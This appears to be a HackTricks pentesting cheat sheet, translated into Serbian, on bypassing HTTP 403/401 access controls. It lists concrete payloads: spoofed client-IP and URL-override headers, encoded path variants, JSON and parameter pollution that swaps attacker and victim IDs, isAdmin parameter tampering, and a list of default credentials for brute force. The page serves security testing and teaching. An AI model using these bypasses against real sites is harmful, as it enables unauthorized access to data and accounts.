403 & 401 Bypasses

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

HTTP Verbs/Methods Fuzzing

Pokušajte koristiti različite glagole za pristup datoteci: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Proverite zaglavlja odgovora, možda se može dobiti neka informacija. Na primer, 200 odgovor na HEAD sa Content-Length: 55 znači da HEAD glagol može pristupiti informacijama. Ali još uvek morate pronaći način da exfiltrirate te informacije.
  • Korišćenje HTTP zaglavlja kao što je X-HTTP-Method-Override: PUT može prepisati korišćeni glagol.
  • Koristite TRACE glagol i ako imate sreće, možda u odgovoru možete videti i zaglavlja koja su dodali međuproksiji koja bi mogla biti korisna.

HTTP Headers Fuzzing

  • Promenite Host zaglavlje na neku proizvoljnu vrednost (to je ovde uspelo)

  • Pokušajte koristiti druge User Agents za pristup resursu.

  • Fuzz HTTP zaglavlja: Pokušajte koristiti HTTP Proxy zaglavlja, HTTP autentifikaciju Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Za sve ovo sam napravio alat fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Ako je putanja zaštićena, možete pokušati da zaobiđete zaštitu putanje koristeći ova druga zaglavlja:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Ako je stranica iza proksija, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte zloupotrebiti HTTP Request Smuggling ili hop-by-hop zaglavlja.

  • Fuzz posebna HTTP zaglavlja tražeći različite odgovore.

  • Fuzz posebna HTTP zaglavlja dok fuzzujete HTTP metode.

  • Uklonite Host zaglavlje i možda ćete moći da zaobiđete zaštitu.

Path Fuzzing

Ako je /path blokiran:

  • Pokušajte koristiti /%2e/path _(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe_** /%252e**/path (dupla URL enkodiranje)
  • Pokušajte Unicode bypass: /%ef%bc%8fpath (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira biće //path i možda ste već zaobišli proveru imena /path
  • Drugi zaobilaženja putanje:
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Koristite ovu listu u sledećim situacijama:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Druga API zaobilaženja:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Promenite vrednost parametra: Iz id=123 --> id=124
  • Dodajte dodatne parametre u URL: ?id=124 —-> id=124&isAdmin=true
  • Uklonite parametre
  • Promenite redosled parametara
  • Koristite posebne karaktere.
  • Izvršite testiranje granica u parametrima — pružite vrednosti poput -234 ili 0 ili 99999999 (samo neki primeri).

Protocol version

Ako koristite HTTP/1.1 pokušajte koristiti 1.0 ili čak testirajte da li podržava 2.0.

Other Bypasses

  • Dobijte IP ili CNAME domena i pokušajte kontaktirati ga direktno.
  • Pokušajte da opterećujete server slanjem uobičajenih GET zahteva (to je uspelo ovom momku sa Facebookom).
  • Promenite protokol: sa http na https, ili za https na http
  • Idite na https://archive.org/web/ i proverite da li je u prošlosti ta datoteka bila globalno dostupna.

Brute Force

  • Pogodite lozinku: Testirajte sledeće uobičajene akreditive. Da li znate nešto o žrtvi? Ili ime CTF izazova?
  • Brute force: Pokušajte osnovnu, digest i NTLM autentifikaciju.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Automatski alati

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks